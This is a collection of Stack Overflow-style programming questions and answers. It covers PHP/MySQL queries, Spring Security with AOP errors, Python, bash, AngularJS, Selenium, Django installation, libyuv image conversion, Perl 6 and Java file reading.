20813479	0	 <p>try</p> <pre><code>$con = mysqli_connect("localhost","root","","test_sms"); if (mysqli_connect_errno()) { echo "Failed to connect:" . mysqli_connect_error(); } $value = "INSERT INTO userstbl (usr_name, usr_pwd, usr_fname, usr_lname) VALUES ('Aftab','xyz','Aftab','Hussain')"; $sqlin = mysql_prep($value); if (!mysqli_query($con, $sqlin)){ die ('Error: ' . mysqli_error($con)); } $sqlot = "SELECT * FROM usertbl"; $sqlo = mysql_prep($sqlot); $sqlout = mysqli_query($con , $sqlo); echo "&lt;table border='1'&gt;&lt;tr&gt;&lt;th&gt;ID&lt;/th&gt;&lt;th&gt;Username&lt;/th&gt;&lt;th&gt;Password&lt;/th&gt;&lt;th&gt;First Name&lt;/th&gt;&lt;th&gt;Last Name&lt;/th&gt;&lt;/tr&gt;"; while ($row = mysqli_fetch_array($sqlout)); { echo "&lt;tr&gt;"; echo "&lt;td&gt;" . $row['usr_id'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $row['usr_name'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $row['usr_pwd'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $row['usr_fname'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $row['usr_lname'] . "&lt;/td&gt;"; echo "&lt;/tr&gt;"; } mysqli_close($con); ?&gt; </code></pre>
6221736	0	 <p>Just get the background color and use it to cover the old circle with a background-color circle.</p>
30586074	0	 <p>You can try change the "result" definition to the following</p> <pre><code>DataSourceResult result = proyectos.AsEnumerable().Select(x =&gt; x).ToDataSourceResult(request, o =&gt; new { ProyectoID = o.ProyectoID, OCCliente = o.OCCliente, FullName = o.Usuario.getFullName, Descripcion = o.Descripcion }); </code></pre>
25216793	0	Spring Security and AOP issue <p>I am adding AOP feature on a Spring-Security application deployed on a Tomcat 7 server. The application worked fine since I added the AspectJ dependency.</p> <p>This is my Maven dependencies in my POM:</p> <pre><code>&lt;properties&gt; &lt;spring.framework.version&gt;4.0.5.RELEASE&lt;/spring.framework.version&gt; &lt;spring.security.version&gt;3.2.4.RELEASE&lt;/spring.security.version&gt; &lt;/properties&gt; &lt;!-- Spring dependencies --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-core&lt;/artifactId&gt; &lt;version&gt;${spring.framework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context&lt;/artifactId&gt; &lt;version&gt;${spring.framework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-tx&lt;/artifactId&gt; &lt;version&gt;${spring.framework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-jdbc&lt;/artifactId&gt; &lt;version&gt;${spring.framework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.security&lt;/groupId&gt; &lt;artifactId&gt;spring-security-core&lt;/artifactId&gt; &lt;version&gt;${spring.security.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-aop&lt;/artifactId&gt; &lt;version&gt;${spring.framework.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.aspectj&lt;/groupId&gt; &lt;artifactId&gt;aspectjtools&lt;/artifactId&gt; &lt;version&gt;1.8.1&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; </code></pre> <p>And here, my Spring configuration (at least, the most relevant):</p> <pre><code>&lt;security:global-method-security secured-annotations="enabled" /&gt; &lt;bean id="myAuthenticationDetailsSource" class="net.classnotfound.MyAuthenticationDetailsSource"&gt; &lt;/bean&gt; &lt;bean id="oracleLoginChecker" class="net.classnotfound.OracleLoginChecker"&gt; &lt;/bean&gt; &lt;bean id="ldapLoginChecker" class="net.classnotfound.LdapLoginChecker"&gt; &lt;/bean&gt; &lt;bean id="myAuthenticationProvider" class="net.classnotfound.MyAuthenticationProvider"&gt; &lt;property name="loginCheckerMap"&gt; &lt;map&gt; &lt;entry key="ORACLE" value-ref="oracleLoginChecker"/&gt; &lt;entry key="LDAP" value-ref="ldapLoginChecker"/&gt; &lt;/map&gt; &lt;/property&gt; &lt;/bean&gt; &lt;bean id="loggerListener" class="org.springframework.security.authentication.event.LoggerListener" /&gt; &lt;security:authentication-manager alias="authenticationManager"&gt; &lt;!-- create a custom AuthenticationProvider class to tune the login process --&gt; &lt;security:authentication-provider ref="myAuthenticationProvider" /&gt; &lt;/security:authentication-manager&gt; &lt;security:http auto-config="true" use-expressions="true"&gt; &lt;security:intercept-url pattern="/faces/login/**" access="anonymous" /&gt; &lt;security:intercept-url pattern="/faces/**" access="authenticated" /&gt; &lt;security:form-login login-page="/faces/login/login.xhtml" authentication-failure-url="/faces/login/login.xhtml?error=1" default-target-url="/faces/index.xhtml" authentication-details-source-ref="myAuthenticationDetailsSource" username-parameter="username" password-parameter="password" /&gt; &lt;/security:http&gt; &lt;tx:annotation-driven /&gt; &lt;beans&gt; &lt;bean id="aroundAspect" class="net.classnotfound.AroundAdvice" /&gt; &lt;aop:aspectj-autoproxy /&gt; &lt;aop:config&gt; &lt;aop:aspect ref="aroundAspect"&gt; &lt;aop:pointcut id="aroundPointCut" expression="@target(org.springframework.transaction.annotation.Transactional)" /&gt; &lt;aop:around pointcut-ref="aroundPointCut" method="doBasicProfiling" /&gt; &lt;/aop:aspect&gt; &lt;/aop:config&gt; &lt;/beans&gt; </code></pre> <p>And now, when I start Tomcat, I have this error:</p> <pre><code>[...] Caused by: java.lang.NoSuchMethodException: com.sun.proxy.$Proxy34.isEraseCredentialsAfterAuthentication() at java.lang.Class.getMethod(Class.java:1655) at org.springframework.util.MethodInvoker.prepare(MethodInvoker.java:174) at org.springframework.beans.factory.config.MethodInvokingFactoryBean.afterPropertiesSet(MethodInvokingFactoryBean.java:103) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1612) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1549) ... 64 more </code></pre> <p>I googled a bit and it seems that the JDK proxy mechanism cannot "proxy" method which are note defined at the interface level, I tried to adapt my configuration to proxy classes with:</p> <pre><code>&lt;aop:aspectj-autoproxy proxy-target-class="true"/&gt; </code></pre> <p>But now, i have:</p> <pre><code>[...] Caused by: java.lang.IllegalArgumentException: Cannot subclass final class class org.springframework.security.config.method.GlobalMethodSecurityBeanDefinitionParser$AuthenticationManagerDelegator at org.springframework.cglib.proxy.Enhancer.generateClass(Enhancer.java:446) at org.springframework.cglib.transform.TransformingClassGenerator.generateClass(TransformingClassGenerator.java:33) at org.springframework.cglib.core.DefaultGeneratorStrategy.generate(DefaultGeneratorStrategy.java:25) at org.springframework.cglib.core.AbstractClassGenerator.create(AbstractClassGenerator.java:216) at org.springframework.cglib.proxy.Enhancer.createHelper(Enhancer.java:377) at org.springframework.cglib.proxy.Enhancer.createClass(Enhancer.java:317) at org.springframework.aop.framework.ObjenesisCglibAopProxy.createProxyClassAndInstance(ObjenesisCglibAopProxy.java:57) at org.springframework.aop.framework.CglibAopProxy.getProxy(CglibAopProxy.java:202) ... 34 more </code></pre> <p>I guess it's normal because it's a known limitation of AspectJ.</p> <p>So now, i am stuck, do I have to give up the idea to use Spring security and AOP in the same project (weird) or there is some obscure configuration, or some dependencies to use? Thanks for your help.</p>
37749979	0	 <p>You don't instantiate <code>ConfigParser</code> when you assign it to the <code>self.scfgs</code> or <code>self.cfg</code> attributes; so when you then call <code>read</code> on it, you're calling an unbound method via the class, rather than a method on the instance.</p> <p>It should be:</p> <pre><code>self.cfg = ConfigParser() </code></pre> <p>etc</p>
34894930	0	 <p>Looking at the code of EventSource, the <code>awaitFirstContact()</code> doesn't seem necessary in <code>open</code> method. I think there definitely should have been <code>open</code> method without blocking, because other processing is done asynchronizely. So I think you have to workaround it. There is a second parameter in <code>EventSource</code> constructor - <code>boolean open</code>. You can pass <code>false</code> there, so the eventsource will not be opened, than create new thread to open eventsource there.</p> <pre><code>public class Main { public static void main(String[] args) { WebTarget target = null;//... EventSource es = openAsynchronizely(target); es.register(new EventListener() { @Override public void onEvent(InboundEvent inboundEvent) { ///... } }); } static EventSource openAsynchronizely(WebTarget target) { EventSource eventSource = new EventSource(target, false); new OpenThread(eventSource).start(); return eventSource; } static class OpenThread extends Thread { private final EventSource eventSource; public OpenThread(EventSource eventSource) { this.eventSource = eventSource; } @Override public void run() { eventSource.open(); } } } </code></pre>
11595944	0	 <pre><code>DOIT="" for f in file1.sh file2.sh; do if [ -x /home/$f ]; then DOIT="/home/$f"; break; fi done if [ -z "$DOIT" ]; then echo "Files not found, continuing build"; fi if [ -n "$DOIT" ]; then $DOIT &amp;&amp; echo "No Errors" || exit 1; fi </code></pre> <p>For those confused about my syntax, try running this:</p> <pre><code>true &amp;&amp; echo "is true" || echo "is false" false &amp;&amp; echo "is true" || echo "is false" </code></pre>
28763451	0	AngularJS - Can I remove images from ng-bind-html's property by not manipulating core HTML content? <p>I want to not to show images in my html content which is rendered by ng-bind-html directive. How can I do this?</p> <pre><code>&lt;div ng-bind-html="news.body"&gt;&lt;/div&gt; </code></pre> <p>Here I want to remove the images from "news.body" content. By not manipulating the core HTML content.</p> <p>Is it possible? Thanks in advance.</p>
19669574	0	 <p>Everything inside the {} has access to <code>L</code>. Without the {}'s, only the next statement would have access.</p> <p>It's standard C# syntax, just like putting {}'s after an <code>if</code>, <code>for</code> or <code>while</code> statement for example. It defines a block of code that applies to the <code>using</code> statement.</p> <p>Whilst it uses the same word as an import <code>using</code>, it's use is very different. The C# language designers try to reuse reserved words, rather than introducing new ones, for backward compatibility reasons.</p> <p>In the case of a <code>using block</code>, as you are defining, the idea is that the object <code>L</code> only exists whilst the using block is executed. It is then disposed afterwards. This saves having to remember to close files or connections and generally tidy up, the using block does that for you. </p> <p>A using block is in fact just "syntactic sugar" for a try/finally block. As explained at <a href="http://msdn.microsoft.com/en-us/library/yh598w02.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/yh598w02.aspx</a></p> <blockquote> <p>The using statement ensures that Dispose is called even if an exception occurs while you are calling methods on the object. You can achieve the same result by putting the object inside a try block and then calling Dispose in a finally block; in fact, this is how the using statement is translated by the compiler.</p> </blockquote>
13153561	0	 <p>This should work:</p> <pre><code>$a = get_included_files(); echo $a[0]; </code></pre> <p>Quote from <a href="http://php.net/manual/en/function.get-included-files.php" rel="nofollow"><code>get_included_files()</code></a> documentation:</p> <blockquote> <p>The script originally called is considered an "included file," so it will be listed together with the files referenced by include and family.</p> </blockquote> <h1>Test</h1> <pre><code>&lt;!-- main.php --&gt; &lt;?php include "middle.php"; ?&gt; &lt;!-- middle.php --&gt; &lt;?php include "inner.php"; ?&gt; &lt;!-- inner.php --&gt; &lt;?php var_dump(__FILE__, $_SERVER["PHP_SELF"], get_included_files()); ?&gt; </code></pre> <h1>Output</h1> <pre class="lang-none prettyprint-override"><code>string(21) "C:\inetpub\wwwroot\inner.php" string(9) "/main.php" array(3) { [0]=&gt; string(20) "C:\inetpub\wwwroot\main.php" &lt;-- this is what you are looking for [1]=&gt; string(22) "C:\inetpub\wwwroot\middle.php" [2]=&gt; string(21) "C:\inetpub\wwwroot\inner.php" } </code></pre>
34838000	0	 <p>If every thing is working fine and you have problem in showing latest chat message in adapter just change your code like this:</p> <pre><code>try{ Log.d("cr_id: ",String.valueOf(cr_id).toString()); //This is where the population should've taken place but didn't. resultObject = new HttpTask(context).doInBackground("sendMessages",conversation_id.toString(),String.valueOf(cr_id)); if(resultObject.get("status").toString().equals("true")) { messages = resultObject.getJSONArray("messages"); Log.d("Messages: ",messages.toString()); for(int i=0;i&lt;=messages.length();i++){ list.add(messages.getJSONObject(i).get("reply_text").toString()); this.notifyDataSetChanged(); // add this line } } } catch(JSONException e){ } </code></pre> <p>Comment below for any further information</p>
6428663	0	 <p>I'll assume you're trying to minimize the maximum width of a string with n breaks. This can be done in O(words(str)*n) time and space using dynamic programming or recursion with memoziation. </p> <p>The recurrence would look like this where the word has been split in to words</p> <pre><code>def wordwrap(remaining_words, n): if n &gt; 0 and len(remaining_words)==0: return INFINITY #we havent chopped enough lines if n == 0: return len(remaining_words.join(' ')) # rest of the string best = INFINITY for i in range remaining_words: # split here best = min( max(wordwrap( remaining_words[i+1:], n-1),remaining_words[:i].join(' ')), best ) return best </code></pre>
2983022	0	PHP/MySQL Printing Duplicate Labels <p>Using an addon of FPDF, I am printing labels using PHP/MySQL (<a href="http://www.fpdf.de/downloads/addons/29/" rel="nofollow noreferrer">http://www.fpdf.de/downloads/addons/29/</a>). I'd like to be able to have the user select how many labels to print. For example, if the query puts out 10 records and the user wants to print 3 labels for each record, it prints them all in one set. 1,1,1,2,2,2,3,3,3...etc. Any ideas?</p> <pre><code> &lt;?php require_once('auth.php'); require_once('../config.php'); require_once('../connect.php'); require('pdf/PDF_Label.php'); $sql="SELECT $tbl_members.lastname, $tbl_members.firstname, $tbl_members.username, $tbl_items.username, $tbl_items.itemname FROM $tbl_members, $tbl_items WHERE $tbl_members.username = $tbl_items.username"; $result=mysql_query($sql); if(mysql_num_rows($result) == 0){ echo "Your search criteria does not return any results, please try again."; exit(); } $pdf = new PDF_Label("5160"); $pdf-&gt;AddPage(); // Print labels while($rows=mysql_fetch_array($result)){ $name = $rows['lastname'].', '.$rows['firstname'; $item= $rows['itemname']; $text = sprintf(" * %s *\n %s\n", $name, $item); $pdf-&gt;Add_Label($text); } $pdf-&gt;Output('labels.pdf', 'D'); ?&gt; </code></pre>
22108184	1	Selenium Python | IndexError: list index out of range <p><strong>Problem Statement</strong>:- On the <a href="http://www.saksoff5th.com/laurel-nubuck-leather-belt/0492184735210.html?start=2&amp;cgid=Men#q=belts&amp;start=1&amp;location=0&amp;slotLoads=1" rel="nofollow">http://www.saksoff5th.com/laurel-nubuck-leather-belt/0492184735210.html?start=2&amp;cgid=Men#q=belts&amp;start=1&amp;location=0&amp;slotLoads=1</a> site, I am trying to add a size and choose color for an item so that I can proceed to the checkout. However, I am getting the error <code>list index out of range</code>. My code is:</p> <pre><code>selenium import webdriver from selenium.webdriver.common.keys import Keys import time browser = webdriver.Firefox() #Searches via Belts in the text box browser.get('http://www.saksoff5th.com') browser.find_element_by_id('q').send_keys('Belts' + Keys.RETURN) #Clicks the Men link browser.implicitly_wait(10) browser.find_element_by_link_text('Men').click() time.sleep(10) elemprodcl = browser.find_element_by_id('search-result-items') Listprdcl= elemprodcl.find_elements_by_class_name('grid-tile') elemprodcl2 = Listprdcl[1].find_element_by_class_name('product-tile') elemprodcl3 = elemprodcl2.find_element_by_class_name('product-image') elemprodcl4 = elemprodcl3.find_element_by_tag_name('a') elemprodcl4.find_element_by_tag_name('img').click() elemproddl = browser.find_element_by_class_name('swatches') print('yes') Listproddl = elemproddl.find_elements_by_class_name('selectable') print('yes1') Listproddl[1].click() print('yes2') elemclr = browser.find_element_by_class_name('Color') print('yes3') Listclr = elemclr.find_elements_by_class_name('selectable') print('yes4') Listclr[0].find_element_by_class_name('swatchanchor').click() print('yes5') Output as yes yes1 yes2 yes3 yes4 Traceback (most recent call last): File "C:\Python27\Off5th_Guest_Checkout", line 56, in &lt;module&gt; Listclr[0].find_element_by_class_name('swatchanchor').click() IndexError: list index out of range </code></pre>
25057046	0	spring security - adding parameters to request for json login not working <p>I have been following this post on how to create an entry point into my spring mvc 3.1 web application for someone to login using a json request.</p> <p><a href="http://stackoverflow.com/questions/19500332/spring-security-and-json-authentication">Spring Security and JSON Authentication</a></p> <p>I've got a question about the code below. Inside attemptAuthentication I am adding extra request parameters which are json specific. And then I try to access those parameters in obtainUsername and obtainPassword but the parameters are not there.</p> <pre><code>public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException { if ("application/json".equals(request.getHeader("Content-Type"))) { StringBuffer sb = new StringBuffer(); String line = null; BufferedReader reader; try { reader = request.getReader(); while ((line = reader.readLine()) != null){ sb.append(line); } //json transformation ObjectMapper mapper = new ObjectMapper(); JsonLoginRequest loginRequest = mapper.readValue(sb.toString(), JsonLoginRequest.class); String jsonUsername = loginRequest.getJ_username(); request.setAttribute("jsonUsername", jsonUsername); String jsonPassword = loginRequest.getJ_password(); request.setAttribute("jsonPassword", jsonPassword); String jsonStore = loginRequest.getJ_store(); request.setAttribute("jsonStore", jsonStore); } catch (JsonParseException e) { e.printStackTrace(); } catch (JsonMappingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } String usernameParameter = obtainUsername(request); String password = obtainPassword(request); </code></pre> <p>When I do this jsonUsername and jsonStore don't exist even though I added them above.</p> <pre><code>@Override protected String obtainUsername(HttpServletRequest request) { String combinedUsername = null; if ("application/json".equals(request.getHeader("Content-Type"))) { String jsonUsername = request.getParameter("jsonUsername"); String jsonStore = request.getParameter("jsonStore"); combinedUsername = jsonUsername + SecurityConstants.TWO_FACTOR_AUTHENTICTION_DELIM + jsonStore; }else { String username = super.obtainUsername(request); String store = request.getParameter(SecurityConstants.STORE_PARAM); String hiddenStore = request.getParameter(SecurityConstants.HIDDEN_STORE_PARAM); combinedUsername = username + SecurityConstants.TWO_FACTOR_AUTHENTICTION_DELIM + store + SecurityConstants.TWO_FACTOR_AUTHENTICTION_DELIM + hiddenStore; } return combinedUsername; } </code></pre> <p>Can someone help me with what is wrong? thanks</p>
41024710	0	 <p>You could use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" rel="nofollow noreferrer">property accessor</a>, like the assignment.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var f = function() { console.log("Hello! " + f.x); } f.x = "Whoohoo"; console.log(f.x); f();</code></pre> </div> </div> </p> <p>For stable access, you could use a named function </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var f = function foo() { console.log("Hello! " + foo.x); } // ^^^ &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; ^^^ f.x = "Whoohoo"; console.log(f.x); f();</code></pre> </div> </div> </p>
2815657	0	 <p>There are only 100 web sites that are in the list of top 100 websites, and they count for only a measly percentage of all websites. A fabulous percentage of websites are rarely visited. Because they have few users, the receive little testing and even less complaint from users that need it to work without javascript, or with a version different from what the developer happened to use. </p> <p>Maybe the worst part of it is these sites make use of all sorts of showy bling in the form of Javascript and flash to look interesting or important.</p> <p>Core functionality in these cases is really just basic site navigation. </p>
36195725	0	Dependency Injection Laravel <p>I have a Facade Class</p> <pre><code>use App\Http\Response class RUser { public function signup(TokenGenerator $token_generator, $data) { $response = []; $access_token = $token_generator-&gt;generate(32); dd($access_token); $user = User::create($data); $response['user_id'] = $user-&gt;_id; $response['']; } } </code></pre> <p>Now from my <code>UserController</code> I am trying to use the <code>RUser::signup()</code> function like below </p> <pre><code>class UserController extends Controller { public function store(Request $request) { $this-&gt;request = $request; $payload = json_decode($this-&gt;request-&gt;getContent()); if($this-&gt;validateJson('user.create', $payload)) { $validator = Validator::make((array) $payload, User::$rules); if ($validator-&gt;fails()) { $messages = $validator-&gt;errors(); return $this-&gt;sendResponse(false, $messages); } FUser::signup($payload); return $this-&gt;sendResponse(true, $response); } } } </code></pre> <p>I think Laravel resolves these dependency automatically and i shound not be passing the instance of <code>TokenGenerator</code> explicitly. But i am getting the following error.</p> <pre><code>Argument 1 passed to App\Http\Responses\RUser::signup() must be an instance of App\Utils\TokenGenerator, instance of stdClass given, called in </code></pre>
27912224	0	Trying to install Django <p>I have been trying to install Django correctly for a while to no avail.</p> <pre><code>C:\Python34\Scripts\pip.exe install C:\Python34\Lib\site-packages\Django-1.7.2\Django-1.7.2\setup.py </code></pre> <p>raises an exception and stores the following in a log file:</p> <pre><code>C:\Python34\Scripts\pip run on 01/12/15 17:47:02 Exception: Traceback (most recent call last): File "C:\Python34\lib\site-packages\pip\basecommand.py", line 122, in main status = self.run(options, args) File "C:\Python34\lib\site-packages\pip\commands\install.py", line 257, in run InstallRequirement.from_line(name, None)) File "C:\Python34\lib\site-packages\pip\req.py", line 172, in from_line return cls(req, comes_from, url=url, prereleases=prereleases) File "C:\Python34\lib\site-packages\pip\req.py", line 70, in __init__ req = pkg_resources.Requirement.parse(req) File "C:\Python34\lib\site-packages\pip\_vendor\pkg_resources.py", line 2606, in parse reqs = list(parse_requirements(s)) File "C:\Python34\lib\site-packages\pip\_vendor\pkg_resources.py", line 2544, in parse_requirements line, p, specs = scan_list(VERSION,LINE_END,line,p,(1,2),"version spec") File "C:\Python34\lib\site-packages\pip\_vendor\pkg_resources.py", line 2512, in scan_list raise ValueError("Expected "+item_name+" in",line,"at",line[p:]) ValueError: ('Expected version spec in', 'C:\\Python34\\Lib\\site-packages\\Django-1.7.2\\Django-1.7.2\\setup.py', 'at', ':\\Python34\\Lib\\site-packages\\Django-1.7.2\\Django-1.7.2\\setup.py') </code></pre> <p>any help would be greatly appreciated! THANK YOU</p>
8664578	0	C# MVC3 storing MetaData in a single class <p>Is it possible to store the metadata information of 2 models in a single class? </p> <p>For example I'm working on Login and Registration model, both has username and password. Usually we create another class that will contain the meta data information: LoginMetadata and RegistrationMetadata. Or put the metadata information in the Login and Registration class.</p> <p>What I want to do is to create a single UserMetadata class then store the combined metadata information from Login and Registration model in it. In this case I have a single validation rule for username, password, etc. Is that possible?</p> <p>Regards, czetsuya</p>
11404401	0	 <p>I am not sure if I understand you right, but does a tranpose of your matrix do the job?</p> <p>Here is an example:</p> <pre><code> require(gplots) data(mtcars) x &lt;- as.matrix(mtcars) heatmap.2(x) </code></pre> <p><img src="https://i.stack.imgur.com/4Bue0.png" alt="enter image description here"></p> <pre><code># transpose the matrix heatmap.2(t(x)) </code></pre> <p><img src="https://i.stack.imgur.com/5R8AF.png" alt="enter image description here"></p>
15508759	0	Strange ie behaviour with jquery inArray <p>Hello this seems to be working on IE8 :</p> <pre><code>var clsName = link.parents("div.fixed_column").attr("class").split(" "); if($.inArray("column_one", clsName) </code></pre> <p>While this one reports error (Object expected errror in jquery).</p> <pre><code>var clsName = link.parents("div.fixed_column").attr("class"); </code></pre> <p>What is the right way to do this? I thought purpose of inArray was that jquery will handle cross browser issues.</p>
18548383	0	 <p>I'm not sure this is what your asking but you can't show anything on top of an iframe I don't think, definitely not cross browser. But I doubt you need to.</p> <p>Now first off, your HTML seems improper because you open a <code>&lt;div class="ddoverlap"&gt;</code>, then a <code>&lt;table&gt;</code>, then <em>another</em> <code>&lt;table&gt;</code> which contains the links. You close that <strong>2nd</strong> <code>&lt;table&gt;</code> and then try to close the <code>&lt;div&gt;</code> while your still inside of the <strong>1st</strong> <code>&lt;table&gt;</code>:</p> <pre><code>&lt;div class="ddoverlap"&gt; &lt;!-- 1st table --&gt; &lt;table align="center" cellpadding="0" class="CAATDashboardTable" cellspacing="0" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:d="http://schemas.microsoft.com/sharepoint/dsp" xmlns:asp="http://schemas.microsoft.com/ASPNET/20" xmlns:__designer="http://schemas.microsoft.com/WebParts/v2/DataView/designer" xmlns:SharePoint="Microsoft.SharePoint.WebControls" xmlns:ddwrt2="urn:frontpage:internal" style="width: 100%"&gt; &lt;tr&gt; &lt;td style="height: 65px; width: 100%;"&gt; &lt;!--BELOW TABLE CONTAINS THE TOP BORDER LINKS--&gt; &lt;table style="width: 100%" align="center"&gt;&lt;tr&gt; &lt;!-- 2nd table! --&gt; &lt;!-- (content omitted to uncover document structure) --&gt; &lt;/td&gt;&lt;/tr&gt; &lt;!-- (also this &lt;/td&gt; is double) --&gt; &lt;/table&gt; &lt;!-- closing 2nd table --&gt; &lt;!-- Not closing 1st table --&gt; &lt;/div&gt; </code></pre> <p>So advice to you would be to recheck your HTML first of all. Then you have a couple of options. The simplest is to continue using a <code>&lt;table&gt;</code> for mark-up. This is considered a bad habit nowadays, but so is using <code>&lt;iframe&gt;</code> and you're probably stuck with that.</p> <p>When using <code>&lt;table&gt;</code> for mark-up, make it 1 big table that stretches across the available screenspace and put the <code>&lt;iframe&gt;</code> inside. This way the <code>&lt;iframe&gt;</code> will simply stretch to the size of the <code>&lt;td&gt;</code> it's inside. So a rough doc structure would be:</p> <pre><code>&lt;table style="width:100%;height:100%;"&gt; &lt;tr&gt; &lt;!-- the &lt;td&gt;s with the links, I've counted, both top and bottom are 10 --&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="10" style="width:100%;height:100%"&gt; &lt;iframe name="target1" width="100%" height="100%" src="#" frameborder="0"&gt;&lt;/iframe&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;!-- the &lt;td&gt;s with the links, again 10 --&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>Notice the <code>colspan="10"</code> to have the <code>&lt;td&gt;</code> with the <code>&lt;iframe&gt;</code> stretch the width of the 10 cells in the top and bottom.</p> <p><em>Edit:</em> A non-table way of doing this would be with <code>&lt;div&gt;</code> and <code>CSS</code>. With different numbers of buttons at the top and bottom, it might be something like this:</p> <pre><code>&lt;head&gt; &lt;style type="text/css"&gt; #topbar, #bottombar { position:absolute; width:100%; height:1.2em; } #topbar { top:0; } #bottombar { bottom:0; } iframe { position:absolute; top:1.2em; bottom:1.2em; width:100%; } #topbar a { display:inline-block; width:10%; /* 100/10=10 */ } #bottombar a { display:inline-block; width:9%; /* 100/11~=9 */ } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="topbar"&gt; &lt;a onclick="blablablayougetthepoint"&gt;Something&lt;/a&gt; &lt;!-- more links, total of 10, notice the onclick is now on the a, no more td --&gt; &lt;/div&gt; &lt;div id="bottombar"&gt; &lt;a onclick="yadayadayada"&gt;Some other thing&lt;/a&gt; &lt;!-- more links, total of 11 --&gt; &lt;/div&gt; &lt;iframe src="etc"&gt;&lt;/iframe&gt; &lt;/body&gt; </code></pre>
12616043	0	 <p>The <code>queryset</code> example you have given rightly indicates that <code>querysets</code> are evaluated lazily i.e the first time they are used. So when subsequently used again, they are not evaluated in the same flow when assigned to a variable. This is not exactly caching but re-using an evaluated expression as long as it is available in an optimized manner.</p> <p>For the kind of caching you are looking at i.e the same view called twice, you will need to manually cache the database object when it is fetched the first time. <a href="https://docs.djangoproject.com/en/dev/topics/cache/?from=olddocs#memcached" rel="nofollow">Memcached</a> is good for this. Then subsequently check and fetch like in example below.</p> <pre><code>def view(request): results = cache.get(request.user.id) if not results: results = do_a_ton_of_work() cache.set(request.user.id, results) </code></pre> <p>There are of course a lot of other ways to do caching at different levels right from your proxy server to per url caching. Whatever works best for you. <a href="http://www.jeffknupp.com/blog/2012/02/24/django-memcached-optimizing-django-through-caching/" rel="nofollow">Here</a> is a good read on this topic.</p>
26323651	0	JNetPcap open pcap from InputStream <p>Is there a way to open an offline Pcap from an InputStream and not from a local file?</p> <p>In the documentation it say that you can use <code>pcap_fopen_offline()</code> to open Pcap from an open stream but I don't know how to use it.</p>
36119735	0	Convert YUV_420 _888 to ARGB using Libyuv <p>I am processing Android camera2 preview frames which are encoded in YUV_420 _888, by calling the method I420ToARGB from the Libyuv library but I get images in wrong colors. </p> <pre><code> libyuv::I420ToARGB( ysrc, //const uint8* src_y, ystride, //int src_stride_y, usrc, //const uint8* src_u, ustride, ///int src_stride_u, vsrc, //const uint8* src_v, vstride, //int src_stride_v, argb, //uint8* dst_argb, w*4, //int dst_stride_argb, w, //int width, h //int height ); </code></pre>
3196539	0	how to create methods from arrays or hashes in perl6 <p>I am trying to add new methods to an object dynamicaly.</p> <p>Following code works just fine:</p> <pre><code>use SomeClass; my $obj = SomeClass.new; my $blah = 'ping'; my $coderef = method { say 'pong'; } $obj.^add_method($blah, $coderef); $obj.ping; </code></pre> <p>this prints "pong" as expected, whereas the following will not work as expected:</p> <pre><code>use SomeClass; my $obj = SomeClass.new; my %hash = one =&gt; 1, two =&gt; 2, three =&gt; 3; for %hash.kv -&gt; $k, $v { my $coderef = method { print $v; } $obj.^add_method($k, $coderef); } $obj.one; $obj.two; $obj.three; </code></pre> <p>will print either 111 or 333.</p> <p>Could anyone explain what i am missing or why the results are different from what i was expecting?</p>
13856191	0	How to read a file containg just 1 line or 1 word in Java <p>I have a file, I know that file will always contain only one word. So what should be the most efficient way to read this file ?</p> <p>Do i have to create input stream reader for small files also <strong>OR</strong> Is there any other options available?</p>
